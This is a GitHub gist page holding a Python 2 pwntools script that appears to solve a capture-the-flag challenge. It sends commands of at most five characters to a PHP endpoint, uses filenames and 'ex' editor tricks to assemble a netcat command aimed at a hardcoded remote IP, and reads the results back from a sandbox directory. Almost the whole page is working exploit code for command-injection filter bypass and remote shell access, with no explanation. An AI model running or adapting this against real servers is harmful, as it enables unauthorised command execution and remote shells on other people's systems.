-
-
Save bennofs/63ce0503c5fba9277f01d13adbe95bf6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from hashlib import md5 | |
import requests | |
from pwn import * | |
def ip_to_bytes(x): | |
return [int(byte) for byte in x.split(".")] | |
def ip_to_number(x): | |
r = 0 | |
for byte in x.split("."): | |
byte = int(byte) | |
r *= 256 | |
r += byte | |
return r | |
ip = requests.get("http://ipv4.icanhazip.com").text.strip() | |
success("local ip: %s", ip) | |
remote_ip = "5.196.109.74" | |
success("remote ip: %s", remote_ip) | |
base = "http://52.199.204.34/" | |
base = "http://52.197.41.31/" | |
dirname = md5("orange" + ip).hexdigest() | |
def cmd(c): | |
assert len(c) <= 5 | |
if ".31" in base: assert len(c) <= 4 | |
requests.get(base + "/index.php", {"cmd": c}) | |
def reset(): | |
requests.get(base + "/index.php", {"reset": "1"}) | |
def result(f): | |
return requests.get(base + "/sandbox/" + dirname + "/" + f).text | |
def ls(): | |
cmd("ls>Z") | |
x = result("Z") | |
cmd("rm Z") | |
print "\n".join(l for l in x.split("\n") if l != "Z").strip() | |
def setup_nc(): | |
cmd(">nc") | |
cmd(">36") | |
cmd(">451") | |
cmd(">60") | |
cmd(">312") | |
cmd(">999") | |
cmd(r">\>") | |
cmd("ls>x") | |
def ex_reorder(): | |
cmd(">2j!") | |
cmd("ls>z") | |
cmd(">ex") | |
cmd("*x<z") | |
cmd(">1m3") | |
cmd(r">3\>") | |
cmd(r">4\>") | |
cmd(r">6\>") | |
cmd(">5m0") | |
cmd("ls>z") | |
cmd("*x<z") | |
def ex_join(): | |
# commands | |
cmd(">%j!") | |
cmd(">%wq") | |
cmd("ls>z") | |
#run | |
cmd(">ex") | |
cmd("*x<z") | |
def digits(number, base=10): | |
while number: | |
yield number % base | |
number /= base | |
reset() | |
with log.progress("setup nc") as p: | |
setup_nc() | |
p.success() | |
print result("x") | |
with log.progress("ex reorder") as p: | |
ex_reorder() | |
p.success() | |
print result("x") | |
with log.progress("ex join") as p: | |
ex_join() | |
p.success() | |
print result("x") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment